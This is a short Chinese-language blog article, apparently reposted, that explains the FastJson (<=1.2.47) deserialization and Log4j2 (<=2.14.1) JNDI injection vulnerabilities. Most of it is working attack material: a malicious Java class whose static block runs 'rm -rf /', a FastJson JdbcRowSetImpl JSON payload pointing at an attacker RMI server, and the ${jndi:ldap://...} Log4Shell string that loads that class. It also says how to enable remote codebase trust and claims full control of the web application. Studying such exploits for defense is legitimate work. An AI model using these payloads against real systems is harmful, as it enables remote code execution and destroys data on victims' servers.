有 attach.class (編譯好的文件)
static{
Runtime.getRuntime().exec("rm -rf /");
}
1.rmi注入
攻擊者建立rmi服務(wù)端,于rmi服務(wù)端建造一系列攻擊對象 ,假設(shè)遠(yuǎn)程地址為 http://abc,可url鏈接到惡意class-attach.class
若被攻擊者訪問到此服務(wù) rmi://abc/attach.class ,靜態(tài)代碼塊會優(yōu)先加載,無需構(gòu)造對象。
fastJson通過序列化漏洞 fastJson<=1.2.47 (高版本添加了序列化白名單和黑名單)
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://abc/attach.class",
"autoCommit":true
}
}
在調(diào)用JSON.parse()時,若序列化字符串里為上述字符串,則會自動將JdbcRowSetImpl 的 dataSourceName鏈接改為 rmi遠(yuǎn)程地址并訪問。
2.LDAP注入
JDK < 8u191
高版本需要設(shè)置參數(shù)才可開啟漏洞
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Log4j2.x<=2.14.1
JNDI(Java Naming and Directory Interface)是Java平臺中的一種API,用于訪問命名和目錄服務(wù)
攻擊者搭建 一個 ldap服務(wù)器(如marshalsec)假設(shè)遠(yuǎn)程地址為 http://abc,可url鏈接到惡意class-attach.class
str="${jndi:ldap://abc/attach.class}";
logger.error(str);//logger.info(str);
會根據(jù)表達(dá)式去尋找對應(yīng)的目錄
若被攻擊者訪問到此服務(wù) jndi:ldap://abc/attach.class ,靜態(tài)代碼塊會優(yōu)先加載,無需構(gòu)造對象。文章來源:http://www.zghlxwxcb.cn/news/detail-586617.html
若在attach.class使用dnslog即可完全控制web應(yīng)用文章來源地址http://www.zghlxwxcb.cn/news/detail-586617.html
http://www.dnslog.cn/
到了這里,關(guān)于fastJson反序列化漏洞和log4j漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!